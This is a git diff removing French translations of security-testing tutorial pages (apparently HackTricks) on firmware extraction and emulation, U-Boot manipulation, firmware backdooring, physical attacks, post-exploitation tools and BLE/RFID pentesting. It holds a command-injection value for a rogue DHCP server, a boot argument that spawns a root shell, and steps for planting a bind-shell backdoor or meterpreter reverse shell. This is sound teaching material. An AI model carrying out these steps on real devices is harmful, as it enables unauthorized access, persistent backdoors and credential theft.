l'absence de bytes magiques, une extraction manuelle est nécessaire. Cela implique d'utiliser `binwalk` pour localiser l'offset du système de fichiers, suivi de la commande `dd` pour extraire le système de fichiers : -```bash -$ binwalk DIR850L_REVB.bin - -$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs -``` -Ensuite, en fonction du type de système de fichiers (par exemple, squashfs, cpio, jffs2, ubifs), différentes commandes sont utilisées pour extraire manuellement le contenu. - -### Analyse du Système de Fichiers - -Une fois le système de fichiers extrait, la recherche de failles de sécurité commence. Une attention particulière est portée aux démons réseau non sécurisés, aux identifiants codés en dur, aux points de terminaison API, aux fonctionnalités des serveurs de mise à jour, au code non compilé, aux scripts de démarrage et aux binaires compilés pour une analyse hors ligne. - -**Emplacements clés** et **éléments** à inspecter incluent : - -- **etc/shadow** et **etc/passwd** pour les identifiants des utilisateurs -- Certificats et clés SSL dans **etc/ssl** -- Fichiers de configuration et scripts pour d'éventuelles vulnérabilités -- Binaires intégrés pour une analyse plus approfondie -- Serveurs web et binaires courants des appareils IoT - -Plusieurs outils aident à découvrir des informations sensibles et des vulnérabilités au sein du système de fichiers : - -- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) et [**Firmwalker**](https://github.com/craigz28/firmwalker) pour la recherche d'informations sensibles -- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) pour une analyse complète du firmware -- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), et [**EMBA**](https://github.com/e-m-b-a/emba) pour une analyse statique et dynamique - -### Vérifications de Sécurité sur les Binaires Compilés - -Le code source et les binaires compilés trouvés dans le système de fichiers doivent être examinés pour détecter des vulnérabilités. Des outils comme **checksec.sh** pour les binaires Unix et **PESecurity** pour les binaires Windows aident à identifier les binaires non protégés qui pourraient être exploités. - -## Émulation de Firmware pour Analyse Dynamique - -Le processus d'émulation de firmware permet une **analyse dynamique** soit du fonctionnement d'un appareil, soit d'un programme individuel. Cette approche peut rencontrer des défis liés aux dépendances matérielles ou d'architecture, mais le transfert du système de fichiers racine ou de binaires spécifiques vers un appareil avec une architecture et un ordre d'octets correspondants, comme un Raspberry Pi, ou vers une machine virtuelle préconstruite, peut faciliter des tests supplémentaires. - -### Émulation de Binaires Individuels - -Pour examiner des programmes uniques, il est crucial d'identifier l'ordre d'octets et l'architecture CPU du programme. - -#### Exemple avec l'Architecture MIPS - -Pour émuler un binaire d'architecture MIPS, on peut utiliser la commande : -```bash -file ./squashfs-root/bin/busybox -``` -Et pour installer les outils d'émulation nécessaires : -```bash -sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils -``` -Pour MIPS (big-endian), `qemu-mips` est utilisé, et pour les binaires little-endian, `qemu-mipsel` serait le choix. - -#### Émulation de l'architecture ARM - -Pour les binaires ARM, le processus est similaire, avec l'émulateur `qemu-arm` utilisé pour l'émulation. - -### Émulation de système complet - -Des outils comme [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), et d'autres, facilitent l'émulation complète du firmware, automatisant le processus et aidant à l'analyse dynamique. - -## Analyse dynamique en pratique - -À ce stade, un environnement de dispositif réel ou émulé est utilisé pour l'analyse. Il est essentiel de maintenir un accès shell au système d'exploitation et au système de fichiers. L'émulation peut ne pas imiter parfaitement les interactions matérielles, nécessitant des redémarrages d'émulation occasionnels. L'analyse doit revisiter le système de fichiers, exploiter les pages web et services réseau exposés, et explorer les vulnérabilités du bootloader. Les tests d'intégrité du firmware sont critiques pour identifier les vulnérabilités potentielles de porte dérobée. - -## Techniques d'analyse à l'exécution - -L'analyse à l'exécution implique d'interagir avec un processus ou un binaire dans son environnement d'exploitation, en utilisant des outils comme gdb-multiarch, Frida, et Ghidra pour définir des points d'arrêt et identifier des vulnérabilités par le biais de fuzzing et d'autres techniques. - -## Exploitation binaire et preuve de concept - -Développer un PoC pour les vulnérabilités identifiées nécessite une compréhension approfondie de l'architecture cible et de la programmation dans des langages de bas niveau. Les protections d'exécution binaire dans les systèmes embarqués sont rares, mais lorsqu'elles sont présentes, des techniques comme le Return Oriented Programming (ROP) peuvent être nécessaires. - -## Systèmes d'exploitation préparés pour l'analyse de firmware - -Des systèmes d'exploitation comme [AttifyOS](https://github.com/adi0x90/attifyos) et [EmbedOS](https://github.com/scriptingxss/EmbedOS) fournissent des environnements préconfigurés pour les tests de sécurité du firmware, équipés des outils nécessaires. - -## OS préparés pour analyser le firmware - -- [**AttifyOS**](https://github.com/adi0x90/attifyos) : AttifyOS est une distribution destinée à vous aider à effectuer des évaluations de sécurité et des tests de pénétration des dispositifs Internet des objets (IoT). Elle vous fait gagner beaucoup de temps en fournissant un environnement préconfiguré avec tous les outils nécessaires chargés. -- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS) : Système d'exploitation de test de sécurité embarqué basé sur Ubuntu 18.04 préchargé avec des outils de test de sécurité du firmware. - -## Firmware vulnérable pour pratiquer - -Pour pratiquer la découverte de vulnérabilités dans le firmware, utilisez les projets de firmware vulnérables suivants comme point de départ. - -- OWASP IoTGoat -- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat) -- The Damn Vulnerable Router Firmware Project -- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF) -- Damn Vulnerable ARM Router (DVAR) -- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html) -- ARM-X -- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads) -- Azeria Labs VM 2.0 -- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/) -- Damn Vulnerable IoT Device (DVID) -- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID) - -## Références - -- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) -- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904) - -## Formation et Certificat - -- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/physical-attacks/firmware-analysis/bootloader-testing.md b/src/physical-attacks/firmware-analysis/bootloader-testing.md deleted file mode 100644 index 308692f5c..000000000 --- a/src/physical-attacks/firmware-analysis/bootloader-testing.md +++ /dev/null @@ -1,52 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -Les étapes suivantes sont recommandées pour modifier les configurations de démarrage des appareils et les bootloaders comme U-boot : - -1. **Accéder à l'Interpréteur du Bootloader** : - -- Pendant le démarrage, appuyez sur "0", espace, ou d'autres "codes magiques" identifiés pour accéder à l'interpréteur du bootloader. - -2. **Modifier les Arguments de Démarrage** : - -- Exécutez les commandes suivantes pour ajouter '`init=/bin/sh`' aux arguments de démarrage, permettant l'exécution d'une commande shell : -%%% -#printenv -#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 init=/bin/sh -#saveenv -#boot -%%% - -3. **Configurer un Serveur TFTP** : - -- Configurez un serveur TFTP pour charger des images sur un réseau local : -%%% -#setenv ipaddr 192.168.2.2 #IP locale de l'appareil -#setenv serverip 192.168.2.1 #IP du serveur TFTP -#saveenv -#reset -#ping 192.168.2.1 #vérifier l'accès au réseau -#tftp ${loadaddr} uImage-3.6.35 #loadaddr prend l'adresse pour charger le fichier et le nom du fichier de l'image sur le serveur TFTP -%%% - -4. **Utiliser `ubootwrite.py`** : - -- Utilisez `ubootwrite.py` pour écrire l'image U-boot et pousser un firmware modifié pour obtenir un accès root. - -5. **Vérifier les Fonctionnalités de Débogage** : - -- Vérifiez si des fonctionnalités de débogage comme la journalisation détaillée, le chargement de noyaux arbitraires, ou le démarrage à partir de sources non fiables sont activées. - -6. **Interférence Matérielle Précautionneuse** : - -- Soyez prudent lors de la connexion d'une broche à la terre et de l'interaction avec des puces SPI ou NAND flash pendant la séquence de démarrage de l'appareil, en particulier avant que le noyau ne se décompresse. Consultez la fiche technique de la puce NAND flash avant de court-circuiter des broches. - -7. **Configurer un Serveur DHCP Malveillant** : -- Configurez un serveur DHCP malveillant avec des paramètres nuisibles pour qu'un appareil les ingère lors d'un démarrage PXE. Utilisez des outils comme le serveur auxiliaire DHCP de Metasploit (MSF). Modifiez le paramètre 'FILENAME' avec des commandes d'injection de commande telles que `'a";/bin/sh;#'` pour tester la validation des entrées pour les procédures de démarrage de l'appareil. - -**Remarque** : Les étapes impliquant une interaction physique avec les broches de l'appareil (\*marquées par des astérisques) doivent être abordées avec une extrême prudence pour éviter d'endommager l'appareil. - -## Références - -- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/physical-attacks/firmware-analysis/firmware-integrity.md b/src/physical-attacks/firmware-analysis/firmware-integrity.md deleted file mode 100644 index 91b70e654..000000000 --- a/src/physical-attacks/firmware-analysis/firmware-integrity.md +++ /dev/null @@ -1,35 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -## Intégrité du Firmware - -Le **firmware personnalisé et/ou les binaires compilés peuvent être téléchargés pour exploiter les failles de vérification d'intégrité ou de signature**. Les étapes suivantes peuvent être suivies pour la compilation d'un shell de liaison backdoor : - -1. Le firmware peut être extrait en utilisant firmware-mod-kit (FMK). -2. L'architecture et l'endianness du firmware cible doivent être identifiées. -3. Un compilateur croisé peut être construit en utilisant Buildroot ou d'autres méthodes appropriées pour l'environnement. -4. La backdoor peut être construite en utilisant le compilateur croisé. -5. La backdoor peut être copiée dans le répertoire /usr/bin du firmware extrait. -6. Le binaire QEMU approprié peut être copié dans le rootfs du firmware extrait. -7. La backdoor peut être émulée en utilisant chroot et QEMU. -8. La backdoor peut être accessible via netcat. -9. Le binaire QEMU doit être supprimé du rootfs du firmware extrait. -10. Le firmware modifié peut être reconditionné en utilisant FMK. -11. Le firmware avec backdoor peut être testé en l'émulant avec l'outil d'analyse de firmware (FAT) et en se connectant à l'adresse IP et au port de la backdoor cible en utilisant netcat. - -Si un shell root a déjà été obtenu par analyse dynamique, manipulation du bootloader ou test de sécurité matériel, des binaires malveillants précompilés tels que des implants ou des shells inversés peuvent être exécutés. Des outils de charge utile/implant automatisés comme le framework Metasploit et 'msfvenom' peuvent être utilisés en suivant les étapes suivantes : - -1. L'architecture et l'endianness du firmware cible doivent être identifiées. -2. Msfvenom peut être utilisé pour spécifier la charge utile cible, l'adresse IP de l'attaquant, le numéro de port d'écoute, le type de fichier, l'architecture, la plateforme et le fichier de sortie. -3. La charge utile peut être transférée vers le dispositif compromis et s'assurer qu'elle a les permissions d'exécution. -4. Metasploit peut être préparé pour gérer les demandes entrantes en démarrant msfconsole et en configurant les paramètres selon la charge utile. -5. Le shell inversé meterpreter peut être exécuté sur le dispositif compromis. -6. Les sessions meterpreter peuvent être surveillées à mesure qu'elles s'ouvrent. -7. Des activités post-exploitation peuvent être effectuées. - -Si possible, des vulnérabilités dans les scripts de démarrage peuvent être exploitées pour obtenir un accès persistant à un dispositif à travers les redémarrages. Ces vulnérabilités surviennent lorsque les scripts de démarrage font référence, [lient symboliquement](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), ou dépendent de code situé dans des emplacements montés non fiables tels que des cartes SD et des volumes flash utilisés pour stocker des données en dehors des systèmes de fichiers racines. - -## Références - -- Pour plus d'informations, consultez [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/physical-attacks/physical-attacks.md b/src/physical-attacks/physical-attacks.md deleted file mode 100644 index 95998fe6c..000000000 --- a/src/physical-attacks/physical-attacks.md +++ /dev/null @@ -1,57 +0,0 @@ -# Attaques Physiques - -{{#include ../banners/hacktricks-training.md}} - -## Récupération de Mot de Passe BIOS et Sécurité Système - -**Réinitialiser le BIOS** peut être réalisé de plusieurs manières. La plupart des cartes mères incluent une **batterie** qui, lorsqu'elle est retirée pendant environ **30 minutes**, réinitialisera les paramètres du BIOS, y compris le mot de passe. Alternativement, un **jumper sur la carte mère** peut être ajusté pour réinitialiser ces paramètres en connectant des broches spécifiques. - -Pour les situations où les ajustements matériels ne sont pas possibles ou pratiques, des **outils logiciels** offrent une solution. Exécuter un système à partir d'un **Live CD/USB** avec des distributions comme **Kali Linux** permet d'accéder à des outils comme **_killCmos_** et **_CmosPWD_**, qui peuvent aider à la récupération du mot de passe BIOS. - -Dans les cas où le mot de passe BIOS est inconnu, entrer le mot de passe incorrectement **trois fois** entraînera généralement un code d'erreur. Ce code peut être utilisé sur des sites comme [https://bios-pw.org](https://bios-pw.org) pour potentiellement récupérer un mot de passe utilisable. - -### Sécurité UEFI - -Pour les systèmes modernes utilisant **UEFI** au lieu du BIOS traditionnel, l'outil **chipsec** peut être utilisé pour analyser et modifier les paramètres UEFI, y compris la désactivation de **Secure Boot**. Cela peut être accompli avec la commande suivante : - -`python chipsec_main.py -module exploits.secure.boot.pk` - -### Analyse de RAM et Attaques Cold Boot - -La RAM conserve des données brièvement après la coupure de l'alimentation, généralement pendant **1 à 2 minutes**. Cette persistance peut être prolongée jusqu'à **10 minutes** en appliquant des substances froides, comme de l'azote liquide. Pendant cette période prolongée, un **dump mémoire** peut être créé à l'aide d'outils comme **dd.exe** et **volatility** pour analyse. - -### Attaques par Accès Direct à la Mémoire (DMA) - -**INCEPTION** est un outil conçu pour la **manipulation de mémoire physique** via DMA, compatible avec des interfaces comme **FireWire** et **Thunderbolt**. Il permet de contourner les procédures de connexion en patchant la mémoire pour accepter n'importe quel mot de passe. Cependant, il est inefficace contre les systèmes **Windows 10**. - -### Live CD/USB pour Accès Système - -Changer des binaires système comme **_sethc.exe_** ou **_Utilman.exe_** avec une copie de **_cmd.exe_** peut fournir un invite de commande avec des privilèges système. Des outils comme **chntpw** peuvent être utilisés pour éditer le fichier **SAM** d'une installation Windows, permettant des changements de mot de passe. - -**Kon-Boot** est un outil qui facilite la connexion aux systèmes Windows sans connaître le mot de passe en modifiant temporairement le noyau Windows ou l'UEFI. Plus d'informations peuvent être trouvées sur [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/). - -### Gestion des Fonctionnalités de Sécurité Windows - -#### Raccourcis de Démarrage et de Récupération - -- **Supr** : Accéder aux paramètres BIOS. -- **F8** : Entrer en mode Récupération. -- Appuyer sur **Shift** après la bannière Windows peut contourner l'autologon. - -#### Périphériques BAD USB - -Des dispositifs comme **Rubber Ducky** et **Teensyduino** servent de plateformes pour créer des dispositifs **bad USB**, capables d'exécuter des charges utiles prédéfinies lorsqu'ils sont connectés à un ordinateur cible. - -#### Volume Shadow Copy - -Les privilèges d'administrateur permettent de créer des copies de fichiers sensibles, y compris le fichier **SAM**, via PowerShell. - -### Contournement du Chiffrement BitLocker - -Le chiffrement BitLocker peut potentiellement être contourné si le **mot de passe de récupération** est trouvé dans un fichier de dump mémoire (**MEMORY.DMP**). Des outils comme **Elcomsoft Forensic Disk Decryptor** ou **Passware Kit Forensic** peuvent être utilisés à cette fin. - -### Ingénierie Sociale pour l'Ajout de Clé de Récupération - -Une nouvelle clé de récupération BitLocker peut être ajoutée par des tactiques d'ingénierie sociale, convainquant un utilisateur d'exécuter une commande qui ajoute une nouvelle clé de récupération composée de zéros, simplifiant ainsi le processus de déchiffrement. - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/post-exploitation.md b/src/post-exploitation.md deleted file mode 100644 index 3005e170a..000000000 --- a/src/post-exploitation.md +++ /dev/null @@ -1,16 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -## **Local l00t** - -- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng) : Ces scripts, en plus de rechercher des vecteurs PE, chercheront des informations sensibles dans le système de fichiers. -- [**LaZagne**](https://github.com/AlessandroZ/LaZagne) : Le **projet LaZagne** est une application open source utilisée pour **récupérer de nombreux mots de passe** stockés sur un ordinateur local. Chaque logiciel stocke ses mots de passe en utilisant différentes techniques (texte clair, API, algorithmes personnalisés, bases de données, etc.). Cet outil a été développé dans le but de trouver ces mots de passe pour les logiciels les plus couramment utilisés. - -## **Services Externes** - -- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief) : Ce module se connectera à l'API de Confluence en utilisant un jeton d'accès, exportera en PDF et téléchargera les documents Confluence auxquels la cible a accès. -- [**GD-Thief**](https://github.com/antman1p/GD-Thief) : Outil Red Team pour exfiltrer des fichiers du Google Drive d'une cible auquel vous (l'attaquant) avez accès, via l'API Google Drive. Cela inclut tous les fichiers partagés, tous les fichiers des drives partagés et tous les fichiers des drives de domaine auxquels la cible a accès. -- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief) : Outil Red Team pour exfiltrer le répertoire Google People de l'organisation cible auquel vous avez accès, via l'API People de Google. -- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** C'est un outil développé en Python qui utilise les API natives de Slack pour extraire des informations 'intéressantes' d'un espace de travail Slack donné un jeton d'accès. -- [**Slackhound**](https://github.com/BojackThePillager/Slackhound) : Slackhound est un outil en ligne de commande pour les équipes rouges et bleues afin d'effectuer rapidement des reconnaissances d'un espace de travail/organisation Slack. Slackhound rend la collecte des utilisateurs, fichiers, messages, etc. d'une organisation rapidement recherchable et les grands objets sont écrits en CSV pour une révision hors ligne. - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/radio-hacking/README.md b/src/radio-hacking/README.md deleted file mode 100644 index 6db785956..000000000 --- a/src/radio-hacking/README.md +++ /dev/null @@ -1 +0,0 @@ -# Hacking Radio diff --git a/src/radio-hacking/low-power-wide-area-network.md b/src/radio-hacking/low-power-wide-area-network.md deleted file mode 100644 index 7e4f86448..000000000 --- a/src/radio-hacking/low-power-wide-area-network.md +++ /dev/null @@ -1,16 +0,0 @@ -# Réseau à Large Bande à Faible Puissance - -{{#include ../banners/hacktricks-training.md}} - -## Introduction - -**Réseau à Large Bande à Faible Puissance** (LPWAN) est un groupe de technologies de réseau sans fil, à faible puissance et à large bande, conçues pour des **communications à longue portée** à un faible débit.\ -Ils peuvent atteindre plus de **six miles** et leurs **batteries** peuvent durer jusqu'à **20 ans**. - -Long Range (**LoRa**) est populaire dans plusieurs pays et a une spécification open source appelée **LoRaWAN**. - -### LPWAN, LoRa et LoRaWAN - -[https://github.com/IOActive/laf](https://github.com/IOActive/laf) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md b/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md deleted file mode 100644 index 636e4afb7..000000000 --- a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md +++ /dev/null @@ -1,65 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# Introduction - -Disponible depuis la spécification Bluetooth 4.0, le BLE utilise seulement 40 canaux, couvrant la plage de 2400 à 2483,5 MHz. En revanche, le Bluetooth traditionnel utilise 79 canaux dans cette même plage. - -Les appareils BLE communiquent en envoyant des **paquets de publicité** (**beacons**), ces paquets diffusent l'existence de l'appareil BLE à d'autres appareils à proximité. Ces beacons envoient parfois aussi **des données**. - -L'appareil d'écoute, également appelé appareil central, peut répondre à un paquet de publicité avec une **demande SCAN** envoyée spécifiquement à l'appareil de publicité. La **réponse** à ce scan utilise la même structure que le paquet de **publicité** avec des informations supplémentaires qui ne pouvaient pas tenir dans la demande de publicité initiale, comme le nom complet de l'appareil. - -![](<../images/image (201) (2) (1) (1).png>) - -Le byte de préambule synchronise la fréquence, tandis que l'adresse d'accès de quatre bytes est un **identifiant de connexion**, qui est utilisé dans des scénarios où plusieurs appareils essaient d'établir des connexions sur les mêmes canaux. Ensuite, l'Unité de Données de Protocole (**PDU**) contient les **données de publicité**. Il existe plusieurs types de PDU ; les plus couramment utilisés sont ADV_NONCONN_IND et ADV_IND. Les appareils utilisent le type de PDU **ADV_NONCONN_IND** s'ils **n'acceptent pas les connexions**, transmettant des données uniquement dans le paquet de publicité. Les appareils utilisent **ADV_IND** s'ils **permettent les connexions** et **cessent d'envoyer des paquets de publicité** une fois qu'une **connexion** a été **établie**. - -## GATT - -Le **Profil d'Attributs Génériques** (GATT) définit comment l'**appareil doit formater et transférer des données**. Lorsque vous analysez la surface d'attaque d'un appareil BLE, vous concentrerez souvent votre attention sur le GATT (ou GATTs), car c'est ainsi que la **fonctionnalité de l'appareil est déclenchée** et comment les données sont stockées, regroupées et modifiées. Le GATT liste les caractéristiques, descripteurs et services d'un appareil dans un tableau sous forme de valeurs de 16 ou 32 bits. Une **caractéristique** est une valeur **de données** **envoyée** entre l'appareil central et le périphérique. Ces caractéristiques peuvent avoir des **descripteurs** qui **fournissent des informations supplémentaires à leur sujet**. Les **caractéristiques** sont souvent **regroupées** dans des **services** si elles sont liées à l'exécution d'une action particulière. - -# Enumeration -```bash -hciconfig #Check config, check if UP or DOWN -# If DOWN try: -sudo modprobe -c bluetooth -sudo hciconfig hci0 down && sudo hciconfig hci0 up - -# Spoof MAC -spooftooph -i hci0 -a 11:22:33:44:55:66 -``` -## GATTool - -**GATTool** permet d'**établir** une **connexion** avec un autre appareil, de lister les **caractéristiques** de cet appareil et de lire et écrire ses attributs.\ -GATTTool peut lancer un shell interactif avec l'option `-I` : -```bash -gatttool -i hci0 -I -[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful -[A4:CF:12:6C:B3:76][LE]> characteristics -handle: 0x0002, char properties: 0x20, char value handle: -0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb -handle: 0x0015, char properties: 0x02, char value handle: -0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb -[...] - -# Write data -gatttool -i -b --char-write-req -n -gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps) - -# Read data -gatttool -i -b --char-read -a 0x16 - -# Read connecting with an authenticated encrypted connection -gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c -``` -## Bettercap -```bash -# Start listening for beacons -sudo bettercap --eval "ble.recon on" -# Wait some time ->> ble.show # Show discovered devices ->> ble.enum # This will show the service, characteristics and properties supported - -# Write data in a characteristic ->> ble.write ->> ble.write ff06 68656c6c6f # Write "hello" in ff06 -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/radio-hacking/pentesting-rfid.md b/src/radio-hacking/pentesting-rfid.md deleted file mode 100644 index 5db7238ec..000000000 --- a/src/radio-hacking/pentesting-rfid.md +++ /dev/null @@ -1,99 +0,0 @@ -# Pentesting RFID - -{{#include ../banners/hacktricks-training.md}} - -## Introduction - -**L'identification par radiofréquence (RFID)** est la solution radio à courte portée la plus populaire. Elle est généralement utilisée pour stocker et transmettre des informations qui identifient une entité. - -Une étiquette RFID peut s'appuyer sur **sa propre source d'alimentation (active)**, comme une batterie intégrée, ou recevoir son alimentation de l'antenne de lecture en utilisant le courant **induit par les ondes radio reçues** (**passive**). - -### Classes - -EPCglobal divise les étiquettes RFID en six catégories. Une étiquette de chaque catégorie possède toutes les capacités énumérées dans la catégorie précédente, ce qui la rend rétrocompatible. - -- Les étiquettes de **Classe 0** sont des étiquettes **passives** qui fonctionnent dans les bandes **UHF**. Le fournisseur **les préprogramme** à l'usine de production. En conséquence, vous **ne pouvez pas changer** les informations stockées dans leur mémoire. -- Les étiquettes de **Classe 1** peuvent également fonctionner dans les bandes **HF**. De plus, elles peuvent être **écrites une seule fois** après la production. De nombreuses étiquettes de Classe 1 peuvent également traiter des **contrôles de redondance cyclique** (CRC) des commandes qu'elles reçoivent. Les CRC sont quelques octets supplémentaires à la fin des commandes pour la détection d'erreurs. -- Les étiquettes de **Classe 2** peuvent être **écrites plusieurs fois**. -- Les étiquettes de **Classe 3** peuvent contenir des **capteurs intégrés** qui peuvent enregistrer des paramètres environnementaux, tels que la température actuelle ou le mouvement de l'étiquette. Ces étiquettes sont **semi-passives**, car bien qu'elles **aient** une source d'alimentation intégrée, comme une **batterie** intégrée, elles **ne peuvent pas initier** une **communication** sans fil avec d'autres étiquettes ou lecteurs. -- Les étiquettes de **Classe 4** peuvent initier une communication avec d'autres étiquettes de la même classe, ce qui en fait des **étiquettes actives**. -- Les étiquettes de **Classe 5** peuvent fournir **de l'énergie à d'autres étiquettes et communiquer avec toutes les classes d'étiquettes précédentes**. Les étiquettes de Classe 5 peuvent agir comme des **lecteurs RFID**. - -### Informations stockées dans les étiquettes RFID - -La mémoire d'une étiquette RFID stocke généralement quatre types de données : les **données d'identification**, qui **identifient** l'**entité** à laquelle l'étiquette est attachée (ces données incluent des champs définis par l'utilisateur, tels que des comptes bancaires) ; les **données supplémentaires**, qui fournissent des **détails** **supplémentaires** concernant l'entité ; les **données de contrôle**, utilisées pour la **configuration** interne de l'étiquette ; et les **données du fabricant** de l'étiquette, qui contiennent un Identifiant Unique de l'étiquette (**UID**) et des détails concernant la **production**, le **type** et le **fournisseur** de l'étiquette. Vous trouverez les deux premiers types de données dans toutes les étiquettes commerciales ; les deux derniers peuvent différer en fonction du fournisseur de l'étiquette. - -La norme ISO spécifie la valeur de l'Identifiant de Famille d'Application (**AFI**), un code qui indique le **type d'objet** auquel appartient l'étiquette. Un autre registre important, également spécifié par l'ISO, est l'Identifiant de Format de Stockage de Données (**DSFID**), qui définit l'**organisation logique des données utilisateur**. - -La plupart des **contrôles de sécurité RFID** ont des mécanismes qui **restreignent** les opérations de **lecture** ou d'**écriture** sur chaque bloc de mémoire utilisateur et sur les registres spéciaux contenant les valeurs AFI et DSFID. Ces **mécanismes de verrouillage** utilisent des données stockées dans la mémoire de contrôle et ont des **mots de passe par défaut** préconfigurés par le fournisseur, mais permettent aux propriétaires d'étiquettes de **configurer des mots de passe personnalisés**. - -### Comparaison des étiquettes à basse et haute fréquence - -
- -## Étiquettes RFID à basse fréquence (125 kHz) - -Les **étiquettes à basse fréquence** sont souvent utilisées dans des systèmes qui **ne nécessitent pas une haute sécurité** : accès aux bâtiments, clés d'interphone, cartes de membre de gym, etc. En raison de leur portée plus élevée, elles sont pratiques à utiliser pour le stationnement payant : le conducteur n'a pas besoin d'apporter la carte près du lecteur, car elle est déclenchée de plus loin. En même temps, les étiquettes à basse fréquence sont très primitives, elles ont un faible taux de transfert de données. Pour cette raison, il est impossible de mettre en œuvre un transfert de données complexe bidirectionnel pour des choses comme la gestion de solde et la cryptographie. Les étiquettes à basse fréquence ne transmettent que leur court ID sans aucun moyen d'authentification. - -Ces dispositifs s'appuient sur la technologie **RFID passive** et fonctionnent dans une **plage de 30 kHz à 300 kHz**, bien qu'il soit plus courant d'utiliser 125 kHz à 134 kHz : - -- **Longue portée** — une fréquence plus basse se traduit par une portée plus élevée. Il existe des lecteurs EM-Marin et HID, qui fonctionnent à une distance allant jusqu'à un mètre. Ceux-ci sont souvent utilisés dans le stationnement. -- **Protocole primitif** — en raison du faible taux de transfert de données, ces étiquettes ne peuvent transmettre que leur court ID. Dans la plupart des cas, les données ne sont pas authentifiées et ne sont pas protégées de quelque manière que ce soit. Dès que la carte est à portée du lecteur, elle commence simplement à transmettre son ID. -- **Faible sécurité** — Ces cartes peuvent être facilement copiées, ou même lues depuis la poche de quelqu'un d'autre en raison de la primitivité du protocole. - -**Protocoles 125 kHz populaires :** - -- **EM-Marin** — EM4100, EM4102. Le protocole le plus populaire dans la CEI. Peut être lu à environ un mètre en raison de sa simplicité et de sa stabilité. -- **HID Prox II** — protocole à basse fréquence introduit par HID Global. Ce protocole est plus populaire dans les pays occidentaux. Il est plus complexe et les cartes et lecteurs pour ce protocole sont relativement chers. -- **Indala** — très ancien protocole à basse fréquence introduit par Motorola, et plus tard acquis par HID. Vous êtes moins susceptible de le rencontrer dans la nature par rapport aux deux précédents car il est en train de tomber en désuétude. - -En réalité, il existe beaucoup plus de protocoles à basse fréquence. Mais ils utilisent tous la même modulation au niveau physique et peuvent être considérés, d'une manière ou d'une autre, comme une variation de ceux énumérés ci-dessus. - -### Attaque - -Vous pouvez **attaquer ces étiquettes avec le Flipper Zero** : - -{{#ref}} -../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md -{{#endref}} - -## Étiquettes RFID à haute fréquence (13,56 MHz) - -Les **étiquettes à haute fréquence** sont utilisées pour une interaction plus complexe entre le lecteur et l'étiquette lorsque vous avez besoin de cryptographie, d'un large transfert de données bidirectionnel, d'authentification, etc.\ -On les trouve généralement dans les cartes bancaires, les transports publics et d'autres passes sécurisés. - -Les **étiquettes à haute fréquence de 13,56 MHz sont un ensemble de normes et de protocoles**. Elles sont généralement appelées [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), mais ce n'est pas toujours correct. L'ensemble de protocoles de base utilisé aux niveaux physique et logique est ISO 14443. Les protocoles de haut niveau, ainsi que les normes alternatives (comme ISO 19092), en sont basés. Beaucoup de gens se réfèrent à cette technologie comme **Communication en Champ Proche (NFC)**, un terme pour les dispositifs fonctionnant à la fréquence de 13,56 MHz. - -
